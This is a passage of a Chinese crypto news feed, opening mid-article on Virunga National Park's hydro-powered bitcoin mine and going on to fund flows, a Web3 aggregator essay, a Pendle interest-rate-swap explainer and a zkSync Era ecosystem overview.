坚持认为比特币挖矿“可以成为一种发展的力量”。事实上，他认为维龙加的项目是一个潜在的模式：“人们说它对环境有害，但在这里它是清洁能源。这是一个可以复制的公式。” 他补充说，由于矿场依赖河流，这里没有化石燃料，而 Luviro 缺乏客户意味着当地没有电力需求。 投资公司 MicroStrategy 的联合创始人迈克尔·塞勒（Michael Saylor）对此表示赞同，称维龙加的模式是“一个拥有大量清洁能源但无法用这些能源出口产品或提供服务的国家的理想高科技产业。”为此，德·梅洛德正在与其他州的国家公园讨论将他们的水道变成水电供应。 在魁北克经营水力矿山的 Argo 区块链公司首席执行官彼得·沃尔指出：“矿场 85%的运营成本来自电力”，这意味着即使是低功率的矿场也可以盈利。“我认为（维龙加矿场）是第一个，我还没听说有国家公园在挖矿。归根结底，你需要三样东西：动力、机器和资本。”维龙加这三个都有。 尽管如此，包括 Luviro 在内的所有加密货币矿场都需要应对货币暴跌的价格。仅比特币就从去年的高点下跌了 70% 以上。然后是 FTX 暴雷，一夜之间损失了 320 亿美元。所有这些，再加上加密货币挖矿的污染记录，可能会让维龙加等地方所依赖的关键捐助者失去兴趣。 但德·梅洛德说：“这仍然是公园的一项非常好的投资。我们不是在猜测它的价值，我们在生成价值。如果你买比特币，比特币下跌了，你就赔钱了。我们用多余的能源制造比特币，并将原本没有价值的东西货币化。这是一个很大的不同。” 他说，即使比特币跌至其价值的 1%，这 10 个集装箱仍能盈利。 德·梅洛德希望这个系统能在本质上自我维持，这也是公园建造如此多基础设施的原因之一。当我问他，如果他发生了什么事，矿场会发生什么事时，他一直微笑着。 “如果我坠机了？也没关系，数字钱包是由我们的财务团队管理的。反正我们不太可能屯比特币超过几周，因为我们需要钱来运营园区。所以，如果我出了什么事，或者我们的首席财务官把密码弄丢了，我们会狠狠地教训他一顿，但这不会让我们付出太多代价。” 德·梅洛德强调，加密货币并不是拯救维龙加的唯一办法，而是更大的生态商业模式的一部分。根据英国经济咨询公司剑桥计量经济（Cambridge Econometrics）2019 年的一份报告，到 2025 年，维龙加其他绿色投资（包括咖啡和巧克力种植）对 GDP 的年度影响可能高达 2.02 亿美元。 德·梅洛德说：“我们试图证明的是，绿色经济意味着多样性，数百个不同的行业可以长期依赖可持续能源，这是一个健康的社会。不像仅仅依赖石油。” 在卢维罗以南约 100 英里处，从马特贝水电站的塔顶，你可以看到该计划正在实施，电线蜿蜒进入鲁丘鲁镇。它不是大都市，但在很多方面都是成功的。在这个地方，这种愿景一直在发挥作用，即使这种成功是难以置信的微弱。这个地区已经成为 M23 运动所宣称的领土的中心。尽管如此，今年春天我去参观时，RUSA 肥皂厂每天生产 5000 块肥皂，设备是用维龙加支持的小额贷款购买的。业主克里斯托夫·巴沙卡笑得合不拢嘴，说如果没有水力发电，这项工作“不可能”完成。 在几分钟车程外的一家玉米工厂，埃利亚斯·哈比马纳脱下皮衣，拿起一个巨大的计算器，向我展示他节省了数千美元：水力发电让他放弃了昂贵的发电机，雇佣了 30 人。 他说：“德·梅洛德让这成为可能，现在事情容易多了。” 贝尼附近的一家公园经营的巧克力工厂为可可种植者提供了公平的价格和合法的市场。维龙加公园每月生产1万根巧克力，这一数字还将继续增长，因为维龙加已经与本·阿弗莱克的“东刚果倡议”组织合作，该组织致力于将公园生产的巧克力推向美国的商店。 根据德·梅洛德的说法，维龙加水电站的电力创造了超过 1.2 万个就业岗位；由于刚果家庭平均至少有 5 个成员，在一个绝望驱使激进主义的地方，一份工作就是一个巨大的稳定器。Gouspillou 指出，刚果加密团队的核心成员都不是民兵，但参与建设的一些临时工是民兵。 在位于鲁曼加波的公园总部，这个实验的利害关系被赤裸裸地展示出来。在被没收的木炭堆和大猩猩墓地附近，是第一位女护林员的坟墓。寡妇们在一个车间里制作毛绒玩具和步枪背带，车间里有几十颗刻有阵亡者名字的星星。一个名叫诺埃拉妈妈的女人告诉我：“我丈夫很喜欢这个地方”。父亲去世后，为了养活五口人，她做了一名临时工，直到她在这里学会了一门手艺：“它给了我价值，给了我希望。” 我在公园的最后一个早晨，炮击很早就开始了。第二天，当 M23 向军队移动时，导弹划过天空，维龙加的工作人员和数千名刚果人被卷入其中。 在我离开几天后，德·梅洛德下令疏散鲁曼加波。下一个是马特贝。当周晚些时候，一架联合国直升机在民兵控制的地区坠毁，战斗吞没了鲁丘鲁和马特贝。经历了这一切，公园的工作人员都留下来了。由于运气或神圣的魔法， M23 撤退到山上。 然而，这种喘息的时间是短暂的。 到了仲夏，战斗重新开始，随着反政府武装向戈马扫荡，一些城镇被攻陷。政府宣布了自己的石油野心，今年 8 月，美国国务卿安东尼·布林肯（Antony Blinken）宣布了一项联合调查开采区域的计划。 从那时起，一座水电站遭到炮击，通往戈马的高压线也被击中。M23 继续在鲁丘鲁进行血腥的战役，并于 10 月占领了鲁曼加波，让德·梅洛德和他的工作人员重新经历了一次占领，这让人想起了十年前吸引维龙加观众的可怕场景。 1 月初，M23 宣布从鲁曼加博撤出，但公园工作人员警告说，他们在最近几个月撤出了其他被占领的领土，但很快就回来了，叛乱分子仍然在该地区出现。而且即使 M23 真的撤退了，其他各种叛军仍然存在;就在几周前，圣诞节前后，一个名为 Mai-Mai 的组织杀死了两名护林员。 与此同时，Gouspillou 继续劝说人们相信加密货币的未来，他前往加纳参加首届非洲比特币会议，并在等待事态冷却后再返回 Luviro。 德·梅洛德还在等待，Kyeya和Mbavumoja 还在努力工作，Luviro 的挖矿平台还在不停地工作。在经历了这么多好运和坏运气之后，le directeur 被困在一个小团队里，正如他在 8 月底的一次 WhatsApp 电话中所说的那样，“让我们摆脱困境”。  ( 6 min )
    CoinShares：上周数字资产投资产品净流入1.6亿美元，为2022年7月以来的最大流入量
    PANews 3月27日消息，据CoinShares周报数据，上周数字资产投资产品净流入 1.6 亿美元，为 2022 年 7 月以来的最大流入量。在连续 6 周流出 4.08 亿美元后出现明显转机。其中比特币投资产品是主要受益者，流入了 1.28 亿美元，做空比特币的投资产品也有 3100 万美元的资金流入。以太坊上周遭遇 520 万美元的资金外流。大量山寨币出现资金流入，最引人注目的是 Solana、Polygon 和 XRP，分别流入 480 万美元、190 万美元和 120 万美元。  ( 4 min )
    代币战争打响，如何为产品构建护城河？
    原文：《Revisiting Aggregation Theory》by Joel John 编译：Block unicorn 一年前，我们曾谈及Web3时代的聚合理论。在Web2.0时代，聚合平台因为打破了分销成本而受益，将许多服务提供者汇集到一起。像亚马逊、优步或抖音这样的平台受益于数百个供应商（供应商、创作者或司机）为用户提供服务。对于用户来说，他们可以获得无尽的选择机会。对于创作者来说，使用这些平台可以获得规模化的受众。 在Web3.0中，聚合平台主要依赖于验证和信任成本的降低。如果您使用正确的合约地址，在Uniswap上交易USDC代币，不需要担心代币是假的。像Blur这样的NFT交易平台也无需花费资源验证平台上交易的每个NFT是否真实，这个网络承担了这些成本。 在Web3中，聚合平台可以通过检查链上数据来更轻松地检查资产价格或查找它们的上市位置。在过去的一年里，大多数聚合平台都专注于汇集链上数据集，并使其可供用户使用。这些数据可能涉及价格、收益、NFT或桥接资产的路径。 当时的假设是，扩张速度足够快的聚合器接口的公司将建立垄断。我特别引用了当时的Nansen、Gem和Zerion（钱包聚合器）作为例子。具有讽刺意味的是，通过回顾，我的假设是错误的，这就是我今天想写的内容。 不要误解我的意思，几个月后，Gem（NFT交易平台）被OpenSea收购了。Nansen筹集了7500万美元，Zerion在10月份筹集了1200万美元。所以，如果把它们看作投资者，我的假设是正确的。每个产品都是其自身类别的领导者，但我写这篇文章的原因是，我假定它们将拥有的相对垄断地位尚不存在。相反，它们都面临着竞争对手的崛起，这是新兴行业中的一个令人向往的特征。 那么在之后的几年里发生了什么呢？就像我在《版税战争》中所写的那样，Gem和OpenSea的相对垄断地位，因Blur在市场上的推出而受到质疑。同样，Arkham Intelligence结合了令人兴奋的用户界面、可能的代币发行和巧妙的营销策略，包括推荐奖励代币，以挑战Nansen。Zerion可能感到舒适，但Uniswap的新钱包推出可能会侵蚀他们的市场份额。 你看到一个趋势了吗?由于公司向用户提供代币，历史上没有代币且在股权支持者的支持下轻松成长的聚合器现在面临风险。随着熊市的深入，“社区所有权”的概念将变得非常重要，因为仍然停留在这里的有限数量的消费者希望最大化他们花费的每一美元。此外，通过使用平台而不是付费访问平台获得奖励也是一种新奇的体验。 因此，一方面，长期以来现金流良好的公司将看到收入下降，另一方面，他们将看到用户涌向竞争对手。这是否可持续？绝对不是可持续的，但它是一个很好的例子，以下是它是如何运作的： 公司推出一款引人注目的代币产品，尤其是如果该产品与推荐计划相结合。Arkham Intelligence为引荐用户到他们的平台上提供代币。考虑到有可能进行空投，越来越多的用户会在产品上花费时间。这是一种点，而不是错误。 这是一种令人难以置信的方式，可以对产品进行压力测试。降低产品的获客成本，以及引导网络效应。挑战在于保留用户，一旦不再提供代币奖励，用户通常会转向其他产品。因此，大多数“引诱”代币的开发者不知道他们的用户基础有多广泛。 以下是下面这位的总结，概括了当今加密货币领域普通人的哲学基础。非常深刻和意义深远，象征着自利驱动我们世界的力量。 值得一提的是，过去用户曾经放弃支持带有代币的项目，而转向现有的巨头。陷阱在于，创始人（可能）认为通过代币激励获得的用户很有粘性。在理想情况下，代币激励与产品用户之间的关系应该像下面这张图一样。 但是实际上会发生的情况是，随着代币激励的减少，最初涌入项目的用户几乎完全放弃了该项目。他们没有理由可以继续吸引用户做出贡献，这种现象在过去两年中困扰了DeFi和P2P。 那些积累了代币并持有它们的用户是新的“社区”成员，他们想知道资产价格何时能够暴涨，让他们退出。（我指出市场参与者是理性的行为者，以自我利益为驱动） 我的最初的想法是将多个产品的功能集合到一个界面中，使用区块链作为基础架构的支撑，从而形成一个长久的壕沟，但这个想法很可能是错误的。我一直在想为什么在Web3中，那些相对领先的公司会失去优势，而其他公司会取而代之。币安击败了Coinbase，而他们又面临着FTX的竞争。OpenSea受到了Blur的竞争。Sky Mavis是Axie Infinity的制造商，新的参与者如Illuvium进入市场后，他们很可能会面临压力。为什么Web3中的用户随着时间的推移离开？如何才能让用户留下来足够长的时间？ 当每个人都可以发布一个嵌入了代币的版本时，Web3中的护城河会是什么？我一直在思考这个问题，因为我们生活在一个叙事轮换的市场中。每个季度都有一个新的“热门”事物。这就是为什么我关注的风险投资家们一夜之间，从远程办公专家变成了处理台湾地缘政治紧张局势的专家。 当然，如果你是在进行资产的进出交易，这肯定是有效的（恕我直言，这就是大多数人在加密货币中的情况）。但如果你想建立一个随着时间推移而增长的资产基础（如谷歌或苹果的股权），资产频繁转换可能不是一个明智的选择。 你最终希望你花费时间、金钱或精力的东西能够在没有积极管理的情况下成长。而要做到这一点的唯一方法是，一个产品能够做到两点：首先，也是最重要的一点，留住他们已经拥有的用户；其次，积极扩张，使竞争者无法蚕食其市场份额，你是如何做到这一点的？(当一个人不得不开始考虑护城河和保留用户的时候，你就知道这是一个熊市） 竞争是为失败者准备的 能够解释这一现象的部分原因是将公司排在新奇和便利之间的光谱上。在早期，像NFT这样的原始产品是新奇的，吸引着人们不遗余力地去尝试产品。 我们已经习惯了为钱包处理种子短语/助记词和处理入口，因为使用“数字货币”的新奇性足以引起我们的兴趣。注意到用户对Ordinals（比特币序数NFT协议）很感兴趣，你会意识到用户有多么有耐心。 这些耐心的部分原因来自于早期利润因素，投机和盈利促使用户愿意经历各种坎坷。 另一端是高度方便的工具，我们每天都依赖它们。亚马逊就是一个让我们沉迷于便利的聚合器的例子。消费者可能会从不在亚马逊上的小众商店购买商品而受益，而且供应商在亚马逊上的定价可能是错误的。 但是，在做决策时，亚马逊告诉你不需要考虑付款方式、交货时间或客户支持。这种“节省”的心理投入转化为在聚合器上更高的支出（注意力或资本）。 许多卖家来到亚马逊，恰恰是因为他们了解到在该市场上的消费者行为与直接到店铺购物的消费者行为不同。 蒂姆-吴（Tim Wu）在2018年的文章中总结了人们为了方便而采取的措施： 当然，我们愿意为便利性支付溢价，甚至比我们意识到的更高。例如在20世纪90年代晚期，音乐分发技术如Napster使得在线获取音乐变得免费，许多人都利用了这个选择。但尽管现在仍然可以轻松地免费获取音乐，但没有人真正这样做了。为什么？因为2003年iTunes商店的推出使得购买音乐比非法下载更加方便，方便性胜过免费。 回到我最初提到的范围，新技术通常付钱给用户让他们试用。相比之下，高度便利的应用程序如果能满足用户对便利的渴望，则需要用户支付高昂的费用。 如今大多数面向消费者的应用所面临的挑战是，它们处于中间地带，我称之为“死亡之谷”。他们创建的产品不够创新、便利，不足以吸引用户为他们的产品付费，也不需要对这些产品过于的依赖。Skiff、Coinbase Card和Mirror（去中心化创作者平台）在这个等式的便利范围内表现出色，因为它们可以取代传统的可比产品。 但以游戏、借贷或身份认证等主题为例，你就会明白为什么这些主题还没有扩展到链上。 大多数处于中间位置的应用程序都犯了相互竞争的致命错误。首先，通过广告和招聘，推高用户获得成本和就业成本。然后，通过有毒的表情包和针对同龄人的加密叙事。正如彼得·蒂尔(Peter Thiel)所说：竞争是为失败者准备的。 当初创公司开始在小型利基市场竞争时，一般没有赢家。用他的话说，初创企业从生存斗争中过渡的唯一途径是拥有垄断性利润，但如何才能达到这个目的呢？ Web3中的公司如果想要独立于代币作为增长的杠杆，他们只有三个杠杆可以关注：成本、使用案例、分销。这种情况在过去已经发生过一些案例，所以让我单独分析一下： 1. 成本 稳定币已成为加密货币的杀手级使用案例，因为它们提供了比传统银行业务更好的体验，可在全球范围内使用。印度的UPI等创新可能对国内支付更具成本效益，但在南东亚、欧洲或非洲之间转移资金，或仅在美国银行账户之间转移余额，使用链上转账更为合理。 从用户的角度来看，产生的成本不仅仅是在转账上花费的金钱数额，还包括移动资金所需的时间和精力。借记卡为电子商务所做的事情就像稳定币为汇款所做的事情一样：它们降低了进行转账所需的成本。相比之下，大多数面向消费者的收益生成移动应用程序则不同。虽然可以以美元计算多达百分之二的收益，但是考虑到崩溃风险，其价值主张将失败。 2. 分销 如果你在一个新兴领域聚集了一些利基用户，分销便可成为一道护城河。想想看Compound和Aave如何开辟了一个全新的借贷市场。曾经很少人认为质押100美元的以太坊，借50美元会带来多大的价值。有一部分人并没有得到服务，主要因为这些富人不想在熊市中出售自己加密货币。 你会错误地认为，新兴市场中没有获得信贷额度的人会推动DeFi借贷量的增长。实际上，使用它的是那些加密货币富人，这是以前被较少服务的一群人。成为与某一利基市场相关的所有事物的 "中心"，使你能够将注意力集中在单一的功能上，Coingecko和Zerion是两个在这方面做得很好的企业。 鉴于企业促使用户尝试新特性的边际成本几乎为零，将新的收入来源直接添加到产品本身中变得具有成本效益。这就是为什么像WeChat（在东南亚）、Careem（在中东）和PayTM（在印度）这样的企业往往表现良好的原因。 当像Uniswap这样的玩家推出钱包时，他们实际上是在尝试在一个界面上聚集用户，以便以更低的成本推动更多特性（例如他们的NFT市场）。 3. 使用案例 像ENS、Tornado Cash和Skiff这样的工具已经开辟了自己独特的用户基础。这些用户依赖于该产品，这是传统替代品今天无法提供的。例如，Facebook不会将你的钱包地址与你的身份绑定在一起。你的银行不像Tornado Cash那样提供隐私保护。 这些产品的用户粘性很高，没有任何替代品可以与该产品相提并论。新用例中的先行者需要一段时间来教育用户并让他们了解实用程序的功能，但它们也有在新市场上占据大量份额的优势。 在LocalBitcoins的早期，它是唯一的点对点交易场所。这帮助它们为进入印度等新兴市场积累了流动性，并使它们在2016年之前一直保持领先地位。(RIP LocalBitcoins) 熊市很难通过专注于这些杠杆来扩大规模。我上面提到的例子已经经历了多个市场周期。Axie Infinity崛起的一部分原因是团队在2020年之前已经建设了两年。在下一个牛市到来之前，团队已经形成了建立社区、维护代币并平衡投资者利益（出售代币）与用户利益（赚取代币）所需的“实力”。 这解释了为什么从风险投资的角度来看，开发者工具和基础设施的投资很受欢迎，当市场萎靡不振时。为了应对散户投资者的不感兴趣，你要专注于企业间的事务。你要为开发者构建铲子，让他们自己来吸引散户投资者。 像Coinbase这样的知名公司认识到了这一点，这就是为什么他们在熊市发布钱包API等工具的原因。我们可以在跨链桥方面看到这种现象，我近距离的观察LI.FI，观察到团队在积极的构建聚合多链基础生态系统。 LI.FI是“Liquid Finance”的谐音，是一个多链流动性聚合器，为希望让其应用程序或为开发多链开发者提供SDK。 假设Metamask或OpenSea希望让开发者轻松地让用户在各个链之间转移资产，比如在Polygon和以太坊之间进行资产转移，LI.FI提供了一个简单的SDK，确定跨链桥和DEX之间的最佳路线来转移资金，这样开发者可以专注于他们最擅长的事情。 虽然有几个参与者从事相同的业务，但我使用LI.FI作为例子，因为他们实际上已经勾选了我之前提到的方面。（此外，Philipp最初与我分享了他如何看待聚合器八个月的发展，我一直以此为基础来撰写这篇文章），但让我们回到LI.FI的策略，他们一直在做一些勾选我之前提到的护城河。 1. 他们一开始就专注于企业，而不是散户。如果你抓住了构建可能需要跨链转移的应用程序的长尾，你就不用太担心直接吸引用户了。 2. 使用该产品的企业可以节省研究和维护的时间。在熊市中，你想尽可能多地节约资源。因此，在默认情况下，像LI.FI这样的产品的销售变得相对更直接了当。 3. 从最终用户的角度来看，一个聚合器为转让提供了最佳的成本基础。因此，人们希望使用集成了其SDK的产品。 4. 他们通常是第一个整合新的区块链--竞争稀少的前沿领域。 5. 最后，他们的目标群体主要是还留在加密行业的参与者。一般来说，在熊市的一年里，在这个行业里进行投机和交易的人，都是你不会花很多钱去教育的力量型用户。 LI.FI并不是市场上唯一的跨链聚合器，虽然它符合我之前提到的成本、人群和用例的条件，但很难看出它们如何建立自己的护城河。但是，我特别感兴趣的是它们如何从一种新奇工具发展成一种方便工具。 在最早的日子里，用户依靠跨链聚合器，是因为这个过程涉及到痛苦地等待从交易所的转账。与仅需几次点击不同，你必须通过集中平台移动资金、进行安全检查并希望资金到账。 那么当新鲜感消失时，如何生存下来呢？如果你注意到Nansen和LI.FI的运作方式，你就能看到答案，这是通过观察他们销售对象来实现的。LI.FI主要销售给开发者。昨天，Nansen推出了一个名为Query的工具，供企业和大型基金直接访问Nansen的数据。他们声称在查询数据方面，这个工具比他们最接近的竞争对手快60倍，那么为什么这两家公司都专注于开发者呢？ 这与一家公司能够同时成为新奇和便利的工具，如果它销售给强大的用户有关。例如，一个开发者决定是否与LI.FI集成 - 通常在他们的脑海中会有一个简单的计算。聚合器的成本是否比集成单个跨链桥更有效地节省时间和资本？ 同样，对于任何使用Nansen查询数据的人来说，问题是工具是否节省了足够的时间和精力来使其成本合理。如果内部完成这项工作的成本低于支付第三方（如LI.FI）的成本，决策者宁愿选择不从头开始构建。 在一年前，我写了一篇关于聚合器的文章，当时我误将一个产品特性（使用区块链）当做了护城河。自那时以来，DeFi收益聚合器推出了大量产品，但大多数都失败了。如果竞争对手可以推出具有相同特点和更好用户体验的产品，或者像Gem的Blur一样引入代币，简单的整合区块链，可能意义不大。在这种环境下，思考什么能真正使产品与众不同是必要的。 当我写下这些话时，一些模式的痛苦变得显而易见。首先，在熊市中获取用户的成本将非常高，因为散户兴趣不高。除非产品具有特别的新奇性或便利性，否则它处于一个奇怪的位置。其次，为其他公司（B2B）构建产品的企业可能能够充分复合增长以求生存，然后在牛市中占据主导地位，就像FalconX（加密货币交易平台）一样。 第三，如果设计不好，代币是一种临时的护城河和长期的负债，很少有社区在足够长的时间内实现了对代币的有意义的增值。 当你考虑像游戏或DeFi等面向散户利基市场时，很明显，普通人并不关心使用哪个链或者事物有多么去中心化，他们关心的是他们可以从中获得的价值，区块链可以帮助增加最终用户可以获得的价值。但是，创始人经常陷入为VC（或代币交易者）建立并销售没有建立在成本、便利性和社区之上的护城河的陷阱中。  ( 4 min )
    DeFi 固定利率/利率互换赛道风云再起，一文解析 Pendle 底层逻辑
    币价/TVL 双双实现 500% 增涨，固定利率这一“证伪”赛道又跑出来 Pendle 这老树开花的项目。 固定利率？不，其实是利率的赌场！这个行业里永远是“赌”最吸引人。 本 Thread 使用实际算例等带你深入浅出的了解 Pendle 的机制，以及 LSD / GLP 等生息资产爱好者该如何使用它来更好的获利，并展望利率互换这一重要的衍生品赛道。 Pendle 是一个利率互换平台，简而言之就是 核心就是 SY 转换为 PT 则可以在一定期限内锁定利率，而 YT 则是加杠杆赌利率上涨的赌具。 我们以 GLP 为例，当前 也就是说这 375 天的 GLP 的收益全归 YT，而 PT 则可以在 375天后的 1:1 获取 GLP 假设你花 1 GLP 买入了 $0.9755/$0.8113 = 1.202 PT。 则 375天后你会有1.202 GLP 换算为年化收益 APY = 1.202 ^ (365/375)-1 = 19.6% 就是说不论 GLP 接下来一年多的实际获取了多少交易费分成，你可以拿到 19.6% APY 这就是 PT 所对应的固定利率功能 假设你花 1 GLP 买入了 $0.9755/$0.1642 = 5.941 YT 375天后你的收益是多少？这完全取决于 GLP 的实际收益表现！ 所谓隐含 APY (Implied APY) = 19.6%，就是说假设 GLP 接下来375天实际 APY = 19.6% 1YT 的收益为 1.196^(375/365) -1 = 0.202 GLP 所以 1 GLP 买入的 5.941 YT 最后就变成了 5.941*0.202= 1.200 GLP 换算为 APY 即为 1.2^ 365/375-1 = 19.6% （左侧实际得出19.4%，略有误差) 假设GLP 实际 APY 能够在接下来375天持续保持当前 53.1% 的水平 那么现在花 1 GLP买入YT，375天后将会得到 5.941* (1.531^(375/365) -1) = 3.261 GLP 换算成 APY 即为 3.261^ 365/375-1 = 207% 是的，这样的话买 YT 就赚大发了 那如果 GLP 实际APY 只有 10% 呢 5.941*(1.1^(375/365) -1) = 0.611 GLP 是的，你买YT就要倒亏 0.4 GLP 进去 总结下来就是： 那么 YT/PT 的是如何定价和交易的呢？ Pendle 内置一个 PT/SY 的AMM，允许外部参与者提供流动性，用户交易 PT 通过这个 AMM 交易即可。而交易 YT 则更为复杂： 用户卖出 YT 过程就反过来了，参见下方图片即可 那么 Pendle 的 AMM 是如何定价的呢? 其 AMM 是从 Notional 借鉴过来，公式复杂，妙蛙种子帮你提炼一下核心概念在于： 之所以这样设计，估计是因为 通过这些设计，Pendle 实现了一个体验尚可的市场化利率交易，服务了固定利率和赌预期两波客户。 过往固定利率赛道失败的产品，多数没有兼顾住 确定性+赌性，Pendle 这块做好了，加上 LSD/ Perp DEX 带来了大量的生息资产，Pendle 便再次抓住机会进入上升区间。 谈完机制，可见 Pendle 的产品还是有可取之处的，不过其代币的价值捕获能力目前尚且较低 其核心捕获模式为 过去7日内交易量约为 1M， 年化交易费收入即为 ： 1M520.001*0.8 = 40k 当前 34M TVL，主要资产既包括 LSD 等低息资产，也包括 GLP 等高息资产，毛估估平均利率 10% 年化利息收入即为 34M0.10.03 = 100k 合计收入为 140k，相对来说是比较少的，即时翻10倍也不能算多。所以未来还需要关注其 bribe 能否发展起来，毕竟 LSD 也算是个 bribe 大户，若能发展也会有不错的收益。 利率互换市场在传统金融内地位重要，对于机构而言更是尤其看重，不过这些美好的想象在上一轮 DeFi 大发展中并没有得到实际数据和表现支撑，固定利率赛道更是一个知名“证伪”赛道。 在 Real Yield 兴起的当下，生息资产变得更有持续性了，若是体验和机制再优化优化，说不定也能老树开花，pendle 就是个例子 总结：对于 GLP/LSD 等生息资产爱好者，可以实现锁定固定利率和赌利率预期这两个目标。其代币价值捕获能力目前尚且不是很突出，投资的话多多 dyor。如果想了解 GLP / LSD 等生息资产，以及讨论的话，可参见该推文  ( 6 min )
    zkSync Era启动主网，详解独特架构和生态应用
    3月16日，Arbitrum官方宣布将向社区分发空投激励，引起市场广泛关注，也让很多人坐上了财富列车。眼看Arbitrum空投已成事实，市场将眼球转向暂未发币的以太坊L2扩容解决方案zkSync和StarkNet。根据0xScope信息，在Arbitrum宣布将进行空投之后，zkSync与StarkNet上日活地址数均增长了约10倍。此外，3月24日凌晨，zkSync官方及其生态应用均发布一条包含具体时间的推文，引发社区浮想联翩。 3月24日晚，zkSync官方揭晓谜底，宣布zkSync Era Alpha主网启动，向所有用户开放使用。据Dune Analytics数据显示，zkSync当周交易量约为2,025,135笔，7日平均交易量创历史新高，目前总交易量已突破2000万笔。FOMO情绪可见一斑。本文PANews将为你详解zkSync Era主网现状，及其生态已经上线的应用。 zkSync的母公司为Matter Labs，于2021年3月和11月完成300万美元A轮和5000万美元B轮融资，B轮融资由a16z领投。2022年11月完成2亿美元C轮融资，由Blockchain Capital和Dragonfly领投。其总融资额达到4.58亿美元（包含2亿美元的生态基金），估值暂未披露。Matter Labs首席产品官Steve Newcomb曾表示1/3的代币将分配给Matter Labs的员工和投资者，剩余的代币将进入zkSync生态， 此外，Matter Labs首席执行官Alex Gluchowski在2023年3月24日接受采访时表示，ZkSync Era的推出不意味着发行代币。因为该网络目前仍然主要是中心化的。在处于alpha阶段时Matter Labs公司仍然控制着排序器和验证器。待以后排序器需要去中心化，将会上线代币。预估时间为一年左右。 根据zkSync博客信息，zkSync Era网络在主网启动前，通过一年测试，并进行了多个安全审计、公开竞赛和赏金，共花费380万美元，同时添加了独立的监控和风险缓解机制。并且该安全机制会一如既往的继续进行，直到Alpha阶段结束。zkSync Era与zkSync Lite网络相比，更新了4个架构： 其一为zkSync Era网络直接使用本地抽象账户，使得Era上的任何账户可以用任何代币支付费用，甚至可以在愿意补贴使用的协议上以零费用进行交易。 其二为为EVM语言（Solidity、Vyper、Yul）构建了第一个基于LLVM的编译器。LLVM是世界上最成熟的编译器堆栈，将为生态系统带来巨大的性能和开发人员体验改进。 其三为通过发布状态差异而不是交易输入为系统带来数据压缩、更频繁的 oracle 更新、便宜的隐私、无缝的链下存储扩展等优势。 其四为超级可扩展性的超级链。超级链是zkEVM类似分形的实例，它并行运行在L1主网上，有共同的结算。任何人都可以使用自定义共识、验证器集或数据可用性部署自己的超级链——但它们都将从底层L1继承安全性和最终性。超级链将按照模块化方法实施——类似于Cosmos或Substrate的Hyperchain SDK框架，开发人员可以在其中单独选择其区块链的不同组件或实施他们自己的组件。 此外，为了防止协议出现严重错误时被黑客利用，zkSync Era网络引入了区块执行延迟。每个提交给L1的L2区块在执行和最终确定之前都会有一个时间锁。使得zkSync团队能够监控每个区块并能够调查处理任何异常情况（例如快速流出、异常大额提款等）。时间锁初始配置为24小时，随着系统逐渐运行，后续可以通过多签验证更改。 根据zkSync官网信息，目前有超240款生态应用基于或者即将部署到zkSync链上。其应用包含DeFi、Gamefi、基础设施、社交、公共物品等多个类型。此处PANews将介绍已经部署在zkSync Era网络的应用。 Argent Argent是一款智能合约钱包，是zkSync最早期的基础设施之一，暂未发行代币。支持更低的gas费用，更快的交易速度，并且提供交易、质押和收益耕作服务。截至目前，Argent已完成2轮融资，累计融资5200万美金。其中A轮融资1200万美金，Paradigm参与投资；B轮融资4000万美金，Fabric Ventures和Metaplanet领投。 官网：https://www.argent.xyz/ Mute Mute是一款zkRollup的去中心化交易所，用户可在其上面进行交易、质押挖矿和获得债券，已经发行平台代币。根据官方介绍，该项目团队此前曾打造了第一个基于BTC和UTXO链之间的零知识原子交换协议，以及Zerocoin和Sigma寻址方案和交易的创新工作。该平台当前总锁仓价值为139万美元。 官网：https://app.mute.io/swap Trustless Protocol Trustless是一个DeFi协议，该协议的特点包括：抗审查、社区拥有、治理最小化。目前处于测试网阶段，暂未发行代币。经观察，该项目官方推特账号近两个月未更新信息。经PANews实测，近期官方测试网无法打开，需等待官方进一步信息。 官网：https://www.trustless.fi/ mintsquare mintsquare是一个NFT交易平台，现在支持zkSync Era测试网和Alpha主网，暂未发行代币。目前mintsquare平台在zkSync Era主网暂未产生交易。主网上目前仅有两款藏品，分别为zkAPE和ZK域名。zkAPE为模仿以太坊主网BAYC，非白名单用户铸造费用极高。ZK域名基于Layerzero构建。 官网：https://mintsquare.io/zksync Tevaera Tevaera是一个去中心化和游戏化的元宇宙，玩家可以在上面建立和管理数字化和货币化岛屿，可以玩有趣的街机游戏。Tevaera生态系统具有两个核心产品：Teva Games、链上游戏基础设施——Teva Core、Teva Chain、Teva Dex和 Teva Market。Teva Core是一个多人游戏框架，对于游戏工作室来说是智能和模块化的。Teva Chain是基于zkSync构建的L3游戏超级链，Teva DEX推动玩赚经济，Teva Market完成NFT交易和质押。 Tevaera当前仍处于测试网，玩家可通过玩游戏获得其参与奖励——Karma积分。Karma积分可以用于购买游戏内资产，后续也可以以一定比例赎回TEVA代币和排行榜奖励。Karma现在是不可交易的ERC 20代币。 官网：https://tevaera.com/ SpaceFi SpaceFi是基于Evmos和zkSync的跨链Web3平台，连接Cosmos和Layer2，已经发行代币。产品包括去中心化交易所、NFT、Starter和Spacebase。目前基于zkSync Era网络上线的产品为交易和提供流动性部分。 官网：https://app.spacefi.io/#/home Rhino Rhino是一款多链DeFi聚合器，其前身为DeversiFi，截止目前总交易额为15亿美元。Rhino已经发行代币，由Delphi、blockchain、Starkware等机构投资。用户在该平台可以交易、质押、跨链等，目前该平台开启了为期48小时的免费跨链进入zkSync Era网络的服务。 官网：https://rhino.fi/ 跨链桥 目前已有多款跨链桥支持zkSync Era网络，主要有Celer、Orbiter、multichain等。其中Orbiter尚未发行代币，且是最早支持zkSync Lite网络。此外，官方跨链桥也已经上线。 官网：https://bridge.zksync.io/ 根据Matter Labs首席执行官的采访信息，zkSync网络的代币短期不会上线，将在完成去中心化后上线代币。因此，对于近期博弈空投的用户而言，此时FOMO情绪导致其网络Gas偏高，产品体验下降，不必急于一时。 站在Matter Labs官方角度去看，zkSync网络当前并未有多个且爆款的原生应用产生，主网也并未经受广泛用户测试，短期内发币不符合时机，也不符合利益。从披露的生态应用去看，当前多为以太坊主网或其他网络的应用迁移，极少原生应用。用户交互时或可着重尚未发行代币的应用，或可一举两得。 最后，PANews提醒用户，zkSync Era目前属于Alpha阶段，其风险性依旧未知，因此在使用交互时请控制资金体量。同时，生态项目处于早期，鱼龙混杂，使用产品时需认准官网，以防资产受损。  ( 4 min )
    Messari万字解析Arbitrum：以太坊后花园，蓬勃发展的生态系统
